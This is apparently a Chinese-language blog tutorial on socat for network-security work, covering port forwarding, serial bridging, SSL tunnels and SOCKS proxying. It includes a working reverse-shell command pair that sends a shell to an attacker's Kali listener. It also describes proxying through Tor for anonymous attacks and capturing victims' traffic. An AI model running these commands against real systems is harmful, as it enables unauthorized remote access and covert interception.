当前位置: 首页 > news >正文

Socat 用法详解:网络安全中的瑞士军刀

Socat 用法详解:网络安全中的强大工具

引言

socat(SOcket CAT)是一款功能强大的命令行工具,被誉为“网络瑞士军刀”,广泛应用于数据传输、端口转发和网络调试等场景。它支持多种协议和数据通道(如文件、管道、设备、TCP/UDP 套接字等),并且能够以灵活的方式在两个独立数据流之间进行双向数据中继。在网络安全领域,socat 因其在端口转发、获取伪终端(TTY)、数据嗅探以及创建加密隧道等方面的应用而备受青睐。本文将重点介绍 socat 在网络安全中的核心应用。

什么是 Socat?

socat 是一个多功能的中继工具,允许用户在两个数据通道之间建立双向数据流。这些通道可以是文件、管道、设备(如串口或伪终端)、网络套接字(TCP、UDP、Unix 域套接字等),甚至可以通过 SSL/TLS 进行加密传输。与 netcat(另一款类似工具)相比,socat 提供了更多高级功能,例如:

  • 安全性增强:支持 chroot、用户切换(su)和 SSL/TLS 加密。
  • 灵活性:支持多种协议和地址类型,允许复杂的数据流配置。
  • 多进程处理:通过 fork 选项支持并发连接。
  • 调试功能:提供详细的日志和数据流监控选项(如 -x-v)。

安装 Socat

在大多数 Linux 发行版中,可以通过包管理器安装 socat。以下是一些常见系统的安装命令:

  • Debian/Ubuntu

    sudo apt update
    sudo apt install socat
    
  • CentOS/RHEL

    sudo yum install socat
    
  • Arch Linux

    sudo pacman -S socat
    
  • macOS(使用 Homebrew):

    brew install socat
    

安装完成后,可以通过 socat -V 检查版本,确保安装成功。

Socat 基本语法

socat 的基本命令格式如下:

socat [options] <address1> <address2>
  • <address1><address2>:表示两个数据通道,可以是文件、设备、套接字等。例如,TCP4-LISTEN:8080 表示监听本地的 TCP 8080 端口,FILE:/dev/ttyS0 表示串口设备。
  • [options]:控制 socat 的行为,例如 -d -d 启用详细调试信息,-u 强制单向传输。

常用地址类型包括:

  • STDIO:标准输入/输出。
  • FILE:<filename>:文件或设备(如 /dev/ttyS0)。
  • TCP4:<host>:<port>:IPv4 TCP 连接。
  • TCP6:<host>:<port>:IPv6 TCP 连接。
  • UDP4:<host>:<port>:IPv4 UDP 连接。
  • UNIX-CONNECT:<path>:Unix 域套接字连接。
  • PTY:伪终端设备。
  • OPENSSL:<host>:<port>:SSL/TLS 加密连接。

常用选项包括:

  • -d -d:启用详细调试日志。
  • -u:单向数据传输。
  • -x:以十六进制显示传输数据。
  • fork:为每个连接创建子进程,适用于并发处理。
  • reuseaddr:允许重用本地地址,便于快速重启服务。
  • chroot=<dir>:将进程限制在指定目录。
  • su=<user>:以指定用户身份运行。

Socat 在网络安全中的应用

1. 获取伪终端(TTY)

在渗透测试中,特别是在反向 Shell 场景中,获取交互式 TTY 是关键。socat 通过伪终端(PTY)将非交互式 Shell 升级为全交互式终端,支持 visudo 等命令,提供比普通 Shell 更强大的交互能力。

示例:反向 Shell 获取 TTY

在目标机器上运行以下命令,连接到攻击者(Kali)机器的 IP 和端口:

socat TCP:<kali-ip>:9001 EXEC:'sh',pty,stderr,setsid,sigint,sane

在攻击者(Kali)机器上监听:

socat FILE:`tty`,raw,echo=0 TCP-LISTEN:9001

解释

  • 目标端
    • TCP:<kali-ip>:9001:连接到攻击者的 9001 端口。
    • EXEC:'sh',pty:执行 sh,分配伪终端。
    • stderr:将标准错误重定向到伪终端。
    • setsid:创建新会话,确保独立终端。
    • sigint:正确处理 Ctrl+C 信号。
    • sane:设置合理的终端参数。
  • 攻击者端
    • FILE:($tty):使用当前终端。
    • raw,echo=0:原始模式,禁用回显。
    • TCP-LISTEN:9001:监听 9001 端口。

2. 端口转发

端口转发是 socat 的核心功能之一,广泛用于网络安全中的内网穿透、流量重定向和隐藏真实服务位置等场景。socat 支持将本地端口转发到远程主机,或将远程端口映射到本地。

示例 1:本地端口转发到远程服务

假设攻击者希望将本地机器的 8080 端口转发到远程服务器(192.168.1.100)的 80 端口,以便通过本地访问远程 Web 服务:

socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80

解释

  • TCP-LISTEN:8080:在本地监听 8080 端口。
  • fork:为每个连接创建子进程,支持并发访问。
  • TCP:192.168.1.100:80:将数据转发到远程主机的 80 端口。

现在,访问 http://localhost:8080 相当于访问 http://192.168.1.100:80

示例 2:远程端口转发(反向连接)

在某些场景中,攻击者可能需要将远程主机的端口映射到本地。例如,将远程主机(remote-ip)的 1234 端口映射到本地主机的 8080 端口:

socat TCP-LISTEN:1234,fork,reuseaddr TCP:localhost:8080

运行此命令后,访问 remote-ip:1234 将被转发到本地主机的 8080 端口。

3. 数据嗅探与调试

socat 的调试功能使其成为分析网络流量的强大工具。通过选项如 -x(十六进制显示数据)和 -v(详细日志),用户可以监控和记录两个数据通道之间的通信内容。

示例:嗅探串口通信

假设需要监控串口 /dev/ttyS0/dev/ttyS1 之间的数据传输:

socat -x /dev/ttyS0,raw,echo=0,crnl /dev/ttyS1,raw,echo=0,crnl

解释

  • -x:以十六进制格式显示传输的数据。
  • /dev/ttyS0/dev/ttyS1:两个串口设备。
  • raw,echo=0,crnl:确保原始数据传输,无回显,并处理换行符。

运行此命令后,socat 会显示所有通过串口传输的数据,适合用于调试或分析设备通信。

4. 创建加密隧道

在网络安全中,保护数据传输的机密性和完整性至关重要。socat 支持通过 SSL/TLS 协议创建加密隧道,适用于需要安全通信的场景。

示例:通过 SSL 加密的端口转发

假设需要在本地监听 54321 端口,并将流量通过 SSL 加密转发到远程服务器的串口 /dev/tty0

socat -d -d ssl-l:54321,reuseaddr,cert=server.pem,cafile=client.crt,fork file:/dev/tty0,nonblock,echo=0,raw

解释

  • ssl-l:54321:监听 54321 端口,使用 SSL 加密。
  • cert=server.pem,cafile=client.crt:指定服务器证书和客户端 CA 证书,用于身份验证。
  • fork:支持多客户端连接。
  • file:/dev/tty0:目标串口设备。

客户端可以使用以下命令连接到此加密隧道:

socat pty,link=$HOME/dev/vmodem0,raw,echo=0,waitslave ssl:server:54321,cert=client.pem,cafile=server.crt

5. 串口到网络的桥接

在工业控制系统(ICS)或物联网(IoT)场景中,串口设备(如传感器、PLC)需要通过网络访问。socat 可以将串口数据转发到 TCP/IP 网络,实现串口到以太网或 WiFi 的桥接。

示例:串口到 TCP 的转发

将串口 /dev/ttyUSB0 的数据转发到 TCP 端口 8081:

socat /dev/ttyUSB0,raw,echo=0,b9600 tcp-listen:8081,fork

解释

  • /dev/ttyUSB0:串口设备,波特率设为 9600。
  • tcp-listen:8081:监听 TCP 8081 端口。
  • fork:支持多客户端连接。

客户端可以通过 telnet 127.0.0.1 8081 或其他工具访问串口数据。

高级用法与技巧

以下是一些 socat 在网络安全中的高级用法和技巧,进一步提升其灵活性和实用性。

1. 通过 SOCKS 代理转发

在受限网络中,攻击者可能需要通过 SOCKS 代理进行端口转发。socat 支持 SOCKS4 协议,适用于绕过防火墙或隐藏流量来源。

示例:通过 SOCKS 代理转发

将本地 80 端口的流量通过 SOCKS 代理(运行在 127.0.0.1:9050)转发到远程主机 192.168.1.100:80

socat tcp-listen:80,fork SOCKS4:127.0.0.1:192.168.1.100:80,socksport=9050

应用场景

  • 攻击者可以通过 Tor 网络或企业代理隐藏其真实 IP,进行匿名攻击。
  • 防御者可以使用类似配置测试代理服务器的安全性,检查是否存在未授权的流量转发。

2. 限制连接来源

为了增强安全性,socat 支持限制连接来源的 IP 地址范围。例如,只允许来自 10.0.0.0/8 私有网络的连接:

socat TCP4-LISTEN:80,bind=192.168.1.10,su=nobody,fork,range=10.0.0.0/8,reuseaddr TCP:www.example.com:80

解释

  • range=10.0.0.0/8:只接受来自指定 IP 范围的连接。
  • su=nobody:以低权限用户运行,降低潜在风险。
  • bind=192.168.1.10:绑定到特定本地 IP。

应用场景

  • 在渗透测试中,攻击者可能需要限制伪装服务的访问范围,避免被其他无关主机检测。
  • 防御者可以使用此功能保护临时服务,防止未经授权的访问。

3. 结合其他工具

socat 可以与其他工具结合使用,增强其功能。例如,与 tcpdump 结合捕获流量,或与 netcat 配合进行复杂的中继。

示例:捕获并转发流量

将本地 1234 端口的流量转发到远程 80 端口,同时使用 tcpdump 捕获流量:

socat TCP-LISTEN:1234,fork TCP:192.168.1.100:80 &
sudo tcpdump -i lo port 1234 -w traffic.pcap

应用场景

  • 攻击者可以使用此方法记录受害者的交互数据(如 HTTP 请求)。
  • 安全团队可以分析捕获的流量,检测潜在的恶意行为。

结论

socat 是一款功能强大且灵活的工具,在网络安全领域具有广泛的应用前景。从获取伪终端到端口转发,再到创建加密隧道和数据嗅探,socat 为渗透测试人员和安全研究人员提供了丰富的可能性。通过合理配置和结合其他工具,socat 可以在复杂的网络环境中实现高效的数据中继和安全通信。

相关文章:

Socat 用法详解:网络安全中的瑞士军刀

Socat 用法详解&#xff1a;网络安全中的强大工具 引言 socat&#xff08;SOcket CAT&#xff09;是一款功能强大的命令行工具&#xff0c;被誉为“网络瑞士军刀”&#xff0c;广泛应用于数据传输、端口转发和网络调试等场景。它支持多种协议和数据通道&#xff08;如文件、管…...

精益数据分析(36/126):SaaS商业模式的指标动态与实践案例

精益数据分析&#xff08;36/126&#xff09;&#xff1a;SaaS商业模式的指标动态与实践案例 在创业与数据分析的学习道路上&#xff0c;我们不断探索各种商业模式的核心要点。今天&#xff0c;依旧怀揣着和大家共同进步的想法&#xff0c;深入研读《精益数据分析》中SaaS商业…...

2.LED灯的控制和按键检测

目录 STM32F103的GPIO口 GPIO口的作用 GPIO口的工作模式 input输入检测 -- 向内检测 output控制输出 -- 向外输出 寄存器 寄存器地址的确定 配置GPIO口的工作模式 时钟的开启和关闭 软件编程驱动 LED 灯 硬件 软件 软件编程驱动 KEY 按键 硬件 软件 按键消抖 代码 STM32F…...

架构师面试(三十八):注册中心架构模式

题目 在微服务系统中&#xff0c;当服务达到一定数量时&#xff0c;通常需要引入【注册中心】组件&#xff0c;以方便服务发现。 大家有没有思考过&#xff0c;注册中心存在的最根本的原因是什么呢&#xff1f;注册中心在企业中的最佳实践是怎样的&#xff1f;注册中心的服务…...

Go-web开发之帖子功能

帖子功能 route.go r.Use(middleware.JWTAuthMiddleware()){r.POST("/post", controller.CreatePostHandler)r.GET("/post/:id", controller.GetPostDetailHandler)}post.go 定义帖子结构 type Post struct {Id int64 json:"id" …...

MYSQL-设计表

一.范式 数据库的范式是⼀组规则。在设计关系数据库时&#xff0c;遵从不同的规范要求&#xff0c;设计出合理的关系型数 据库&#xff0c;这些不同的规范要求被称为不同的范式。 关系数据库有六种范式&#xff1a;第⼀范式&#xff08;1NF&#xff09;、第⼆范式&#xff08;…...

动态思维——AI与思维模型【91】

一、定义 动态思维思维模型是一种强调在思考问题和分析情况时&#xff0c;充分考虑到事物的变化性、发展性和相互关联性&#xff0c;不局限于静态的、孤立的视角&#xff0c;而是以发展变化的眼光看待事物&#xff0c;能够根据不同时间、环境和条件的变化&#xff0c;灵活调整…...

文献阅读篇#7:5月一区好文阅读,BFA-YOLO,用于建筑信息建模!(下)

期刊简介&#xff1a;《Advanced Engineering Informatics》创刊于2002年&#xff0c;由Elsevier Ltd出版商出版&#xff0c;出版周期Quarterly。该刊已被SCIE数据库收录&#xff0c;在中科院最新升级版分区表中&#xff0c;该刊分区信息为大类学科工程技术1区&#xff0c;2023…...

【Linux网络编程】http协议的状态码,常见请求方法以及cookie-session

本文专栏&#xff1a;Linux网络编程 目录 一&#xff0c;状态码 重定向状态码 1&#xff0c;永久重定向&#xff08;301 Moved Permanently&#xff09; 2&#xff0c;临时重定向&#xff08;302 Found&#xff09; 二&#xff0c;常见请求方法 1&#xff0c;HTTP常见Hea…...

ARM 指令集(ubuntu环境学习)第六章:ARM 编程技巧与优化策略

在本章中,我们将介绍一些在 ARM 架构上编写高效代码的技巧和常见优化策略,帮助您在嵌入式系统中获得更低延迟、更高吞吐和更低功耗。 6.1 寄存器利用与最小化内存访问 多用寄存器 ARM 通用寄存器(r0–r12)数量充足,尽量将临时变量保留在寄存器中,减少对内存的读写。 避免…...

柔性超声耦合剂的选择与设计-可穿戴式柔性超声耦合剂面临的难题

柔性PZT压电薄膜&#xff1a;破解可穿戴式超声耦合剂难题的关键材料&#xff01; 随着可穿戴技术的快速发展&#xff0c;超声设备正朝着轻量化、柔性化和高集成度方向演进。在医学诊断、健康监测和智能穿戴领域&#xff0c;可穿戴式超声设备因其无创、实时、动态成像等优势受到…...

XCTF-pwn(二)

guess_num 看一下文件信息 利用gets函数将seed[0]给覆盖掉 距离0x20 我们需要输入十次随机数产生的值 写一个c程序先预判当seed是a的时候产生的随机数分别是多少 payload from pwn import* from ctypes import* context.log_leveldebugrremote("61.147.171.105", 6…...

AI外挂RAG:大模型时代的检索增强生成技术

目录 引言 一、RAG是什么&#xff1f; 二、RAG为什么会出现&#xff1f; 三、RAG的工作原理 四、RAG的技术优势 五、RAG的应用场景 六、RAG对AI行业的影响 七、RAG面临的挑战 引言 在人工智能领域&#xff0c;大型语言模型&#xff08;LLM&#xff09;如ChatGPT、DeepSe…...

SpringTask

Spring Task是Spring框架提供的任务调度工具&#xff0c;可以按照约定的时间自动执行某个代码逻辑 应用场景&#xff1a;信用卡每月还款提醒、火车票售票系统处理未支付订单 fixedDelay&#xff1a;上一次任务执行完成后多长时间&#xff08;ms&#xff09;执行下一次任务 fixe…...

Sphinx 文档图片点击放大

文章目录 问题描述解决方案步骤 1&#xff1a;创建 JavaScript 文件步骤 2&#xff1a;编写 JavaScript 代码步骤 3&#xff1a;更新 Sphinx 配置 高级定制为所有图片添加点击功能添加缩放控制 总结 在使用 Sphinx 生成技术文档时&#xff0c;我们经常需要在文档中嵌入截图和示…...

菜鸟之路Day29一一MySQL之DDL

菜鸟之路Day29一一MySQL之DDL 作者&#xff1a;blue 时间&#xff1a;2025.5.2 文章目录 菜鸟之路Day29一一MySQL之DDL0.概述1.DDL之数据库操作1.1查询1.2创建1.3使用1.4删除 2.DDL之表操作2.1创建表2.2数据类型2.3查询表2.4修改表结构2.5删除表 0.概述 文章内容学习自黑马程…...

架构师面试(三十七):监控系统架构模式

题目 监控是在产品生命周期的运维环节&#xff0c;能对产品的关键指标数据进行【实时跟踪】并对异常数据进行【实时报警】。 一句话描述&#xff0c;监控系统可以帮我们【主动预防和发现】业务系统中的问题。 我们常说&#xff0c;监控系统是 “粮草”&#xff0c;业务系统是…...

【Redis】Hash哈希

文章目录 注意个问题hset命令&#xff08;核心&#xff09;hget命令&#xff08;核心&#xff09;hexists命令hdel命令hkeys和hvals命令hgetall和hmget命令hlen命令hsetnx命令hincrby命令哈希命令小结哈希编码方式使用场景1.关系型数据表保存用户的信息Redis三种缓存方式对比1.…...

【SpringBoot】Spring中事务的实现:声明式事务@Transactional、编程式事务

1. 准备工作 1.1 在MySQL数据库中创建相应的表 用户注册的例子进行演示事务操作&#xff0c;索引需要一个用户信息表 &#xff08;1&#xff09;创建数据库 -- 创建数据库 DROP DATABASE IF EXISTS trans_test; CREATE DATABASE trans_test DEFAULT CHARACTER SET utf8mb4;…...

从零开始讲DDR(9)——AXI 接口MIG 使用(2)

一、前言 在之前的文章中&#xff0c;我们介绍了官方DDR MIG AXI接口的例程的整体框架&#xff0c;在本文中&#xff0c;我们将着重介绍例程中关于数据产生&#xff0c;及驱动到AXI接口的相关逻辑实现。 二、data_gen 在例程中&#xff0c;有ddr4_v2_2_8_data_gen这样一个文件…...

组件通信-props

props 是使用频率最高的一种通信方式&#xff0c;父>子 子>父 父传子&#xff1a;属性值 是非函数子传父&#xff1a;属性值 是函数 父组件 <script setup lang"ts"> import { ref } from vue import Child from ./Child.vue const car ref(奥迪) c…...

纯原生Java实现:获取整个项目中指定接口所有的实现类

不使用第三方&#xff0c;不使用属性文件,不指定包名&#xff0c;获取整个系统中某一个接口所有的实现类&#xff0c;纯Java实现 /*** 类查找器&#xff0c;用于扫描类路径中的所有类&#xff0c;并找出指定类的实现类。* 该类通过递归扫描类路径下的所有 .class 文件&#xf…...

反射机制补充

不同对象实例的地址不同 在 Java 里&#xff0c;每当使用 new 关键字创建一个对象时&#xff0c;JVM 会在堆内存中为该对象分配一块新的内存空间&#xff0c;每个对象实例都有自己独立的内存地址。所以不同的对象实例&#xff0c;其内存地址是不同的。 以下是一个简单示例&am…...

计算机视觉的未来发展趋势

计算机视觉的未来发展趋势主要集中在以下几个方面&#xff1a; 1. 自监督学习与少样本学习 自监督学习&#xff1a;通过从无标签的数据中提取有用特征&#xff0c;克服对大量标注数据的依赖。2025年&#xff0c;基于大规模图像数据的自监督预训练模型将更加成熟&#xff0c;能…...

轻量级网页版视频播放器

用deepseek开发的轻量级&#xff0c;网页版视频播放器 可以选择本地文件 可以播放、暂停、全屏、有进度条和时间进度 代码如下&#xff1a; 新建.txt文本文档&#xff0c;把代码复制粘贴进去&#xff0c;把.txt文档后缀名改为.html&#xff0c;用浏览器打开即可使用 <!DO…...

18. LangChain分布式任务调度:大规模应用的性能优化

引言&#xff1a;从单机到万级并发的进化 2025年某全球客服系统通过LangChain分布式改造&#xff0c;成功应对黑五期间每秒12,000次的咨询请求。本文将基于LangChain的分布式架构&#xff0c;详解如何实现AI任务的自动扩缩容与智能调度。 一、分布式系统核心指标 1.1 性能基准…...

C/C++工程师使用 DeepSeek

一、使用 DeepSeek 生成 C/C 代码 在 C/C 开发中&#xff0c;很多时候需要编写一些常见功能的代码&#xff0c;如排序算法、文件读写操作、数据结构的实现等。借助 DeepSeek&#xff0c;工程师只需用自然语言清晰描述需求&#xff0c;它就能依据大量的代码数据和深度学习算法&a…...

数据结构-线性结构(链表、栈、队列)实现

公共头文件common.h #define TRUE 1 #define FALSE 0// 定义节点数据类型 #define DATA_TYPE int单链表C语言实现 SingleList.h #pragma once#include "common.h"typedef struct Node {DATA_TYPE data;struct Node *next; } Node;Node *initList();void headInser…...

第 7 篇:跳表 (Skip List):简单务实的概率性选手

前面几篇我们都在探讨各种基于“树”结构的有序表实现&#xff0c;它们通过精巧的平衡策略&#xff08;高度、颜色、大小&#xff09;和核心的“旋转”操作来保证 O(log N) 的性能。今天&#xff0c;我们要介绍一位画风完全不同的选手——跳表 (Skip List)。它不依赖树形结构&a…...

sys目录介绍

文章目录 1. 前言2. 目录层次3. 目录介绍3.1 devices 目录3.2 block 目录3.3 bus 目录3.4 class 目录3.5 dev 目录3.6 firmware目录3.7 fs 目录3.8 kernel目录3.9 module 目录3.10 power 目录 sys目录介绍 1. 前言 linux 下一切皆文件&#xff0c;文件的类型也很多&#xff0c;…...

基于DQN的自动驾驶小车绕圈任务

1.任务介绍 任务来源: DQN: Deep Q Learning &#xff5c;自动驾驶入门&#xff08;&#xff1f;&#xff09; &#xff5c;算法与实现 任务原始代码: self-driving car 最终效果&#xff1a; 以下所有内容&#xff0c;都是对上面DQN代码的改进&#…...

源码安装SRS4

Ubuntu20安装好SRS后&#xff0c;&#xff08;源码安装&#xff09; 注意&#xff1a;在trunk目录SRS ./objs/srs -c conf/srs.conf 以上为启动srs命令&#xff0c;-c 为指定配置文件&#xff0c; 查看SRS进程 ps aux | grep srs 查看端口&#xff1a; netstat -ano | gre…...

OrbitControls

OrbitControls 3D虚拟工厂在线体验 描述 Orbit controls&#xff08;轨道控制器&#xff09;可以使得相机围绕目标进行轨道运动。 Constructor OrbitControls( object : Camera, domElement : HTMLDOMElement ) 参数类型描述objectCamera&#xff08;必须&#xff09;将要…...

【数据库】四种连表查询:内连接,外连接,左连接,右连接

在数据库操作中&#xff0c;连表查询是处理多表关联的核心技术。以下是四种主要连接方式的详细介绍、快速掌握方法及实际应用指南&#xff1a; 目录 **一、四种连表查询详解****1. 内连接&#xff08;INNER JOIN&#xff09;****2. 左连接&#xff08;LEFT JOIN / LEFT OUTER J…...

Redis怎么避免热点数据问题

使用 RedisTemplate 避免热点数据问题的解决方案、场景及示例&#xff1a; 1. 数据分片&#xff08;Sharding&#xff09; 场景&#xff1a;高频读写的计数器&#xff08;如文章阅读量统计&#xff09; ​原理​&#xff1a;将数据分散到多个子键&#xff0c;降低单个 Key 的压…...

完整的 VS Code + CMake + Qt + GCC 项目构建方案:EXE 程序与多个 DLL 库

完整的 VS Code CMake Qt GCC 项目构建方案&#xff1a;EXE 程序与多个 DLL 库 在本文中&#xff0c;我们将介绍如何构建一个包含 EXE 程序和多个 DLL 库的项目&#xff0c;适用于 VS Code CMake Qt GCC 开发环境。这个方案为一个模块化的项目结构&#xff0c;使得代码清…...

Python 数据智能实战 (7):智能流失预警 - 融合文本反馈

写在前面 —— 不再错过关键预警!结合用户行为与 LLM 文本洞察,构建更精准的流失预测模型 在之前的探索中,我们学习了如何利用大语言模型 (LLM) 对用户评论进行深度挖掘,提取情感、发现主题,并将非结构化的文本信息转化为有价值的特征 (如 Embeddings)。 现在,我们要将…...

Flutter - 概览

Hello world ⌘ shift p 选择 Empty Application 模板 // 导入Material风格的组件包 // 位置在flutter安装目录/packages/flutter/lib/material.dart import package:flutter/material.dart;void main() {// runApp函数接收MainApp组件并将这个Widget作为根节点runApp(cons…...

Python-pandas-操作Excel文件(读取数据/写入数据)及Excel表格列名操作详细分享

Python-pandas-操作Excel文件(读取数据/写入数据) 提示&#xff1a;帮帮志会陆续更新非常多的IT技术知识&#xff0c;希望分享的内容对您有用。本章分享的是pandas的使用语法。前后每一小节的内容是存在的有&#xff1a;学习and理解的关联性。【帮帮志系列文章】&#xff1a;每…...

手写 Vue 源码 === Vue3 设计思想

1.声明式框架 Vue3 是声明式的框架,用起来简单。 命令式和声明式区别 早在 JQ 的时代编写的代码都是命令式的,命令式框架重要特点就是关注过程声明式框架更加关注结果。命令式的代码封装到了 Vuejs 中,过程靠 vuejs 来实现声明式代码更加简单,不需要关注实现,按照要求填代…...

Android WebView加载h5打开麦克风与摄像头的权限问题

目录 快速处理 app向系统申请录音与相机权限h5向app申请录音和相机权限 详细解答 app权限与h5权限录音与麦克风默许的风险最佳实践 Android webview h5 麦克风权限&#xff0c;摄像头&#xff08;相机&#xff09;权限实现与填坑。 快速处理 app向系统申请录音与相机权限 …...

三种计算最小公倍数的方法分析

三种计算最小公倍数的方法分析与比较 一.引言 最小公倍数&#xff08;Least Common Multiple, LCM&#xff09;是数学中的一个基本概念&#xff0c;指能够被两个或多个整数整除的最小的正整数。在编程中&#xff0c;我们有多种方法可以计算两个数的最小公倍数。本文将分析三种…...

PDF转换工具xpdf-tools-4.05

XPDF是一个开源的PDF查看、提取和转换工具套件&#xff0c;使用C编写&#xff0c;支持多种操作系统&#xff0c;包括Linux、Unix、OS/2、Windows和Mac OS X‌1。XPDF不仅是一个PDF查看器&#xff0c;还包含多个实用工具&#xff0c;如文本提取器、图像转换器和HTML转换器等‌&a…...

aws(学习笔记第四十课) image-content-search

aws(学习笔记第四十课) image-content-search 使用SQS Lambda集成 数据库&#xff08;Aurora Serverless&#xff09; Cognito&#xff08;用户管理&#xff09; rekognition&#xff08;图像解析&#xff09; 学习内容&#xff1a; 使用SQS Lambda Aurora Serverless Cog…...

GPT-4o 图像生成与八个示例指南

什么是GPT-4o图像生成&#xff1f; 简单来说&#xff0c;GPT-4o图像生成是集成在ChatGPT内部的一项功能。用户可以直接在对话中&#xff0c;通过文本描述&#xff08;Prompt&#xff09;来创建、编辑和调整图像。这与之前的图像生成工具相比&#xff0c;体验更流畅、交互性更强…...

PostgreSQL 查看表膨胀情况的方法

PostgreSQL 查看表膨胀情况的方法 表膨胀(Table Bloat)是PostgreSQL中由于MVCC机制导致的一种常见现象&#xff0c;当大量数据被更新或删除后&#xff0c;表中会积累"死元组"(dead tuples)&#xff0c;这些死元组占据空间但不可见&#xff0c;导致表实际占用的磁盘空…...

从 0 到 1!深度剖析项目实施流程,开启项目管理新视野

一、项目准备 / 前期准备 &#xff08;一&#xff09;跟销售进行项目交接 对接人&#xff1a;销售人员交接会议内容&#xff1a; 了解项目背景、客户基本信息、项目版本、具备二次开发功能、接口、了解合同信息等。明确项目情况、客户基本情况、使用软件&#xff08;版本&…...

书生实战营之沐曦专场

一&#xff1a;实验环境进入和启动实验容器(D.run平台) 1.1首先进入平台进行注册 D.run平台https://console.d.run/ 注册和登录环节就跳过了。 1.2 启动实验容器--详细步骤如下 1.2.1选择容器的名称、区域、镜像&#xff08;注意镜像必须选择Dlinfer&#xff09; 1.2.2可以选…...

在运行 Hadoop 作业时,遇到“No such file or directory”,如何在windows里打包在虚拟机里运行

最近在学习Hadoop集群map reduce分布运算过程中&#xff0c;经多方面排查可能是电脑本身配置的原因导致每次运行都会报“No such file or directory”的错误&#xff0c;最后我是通过打包文件到虚拟机里运行得到结果&#xff0c;具体步骤如下&#xff1a; 前提是要保证maven已经…...

基于YOLOV5的目标检测识别

基于YOLOV5的目标检测识别 舰船目标检测口罩目标检测飞机目标检测 舰船目标检测 口罩目标检测 飞机目标检测...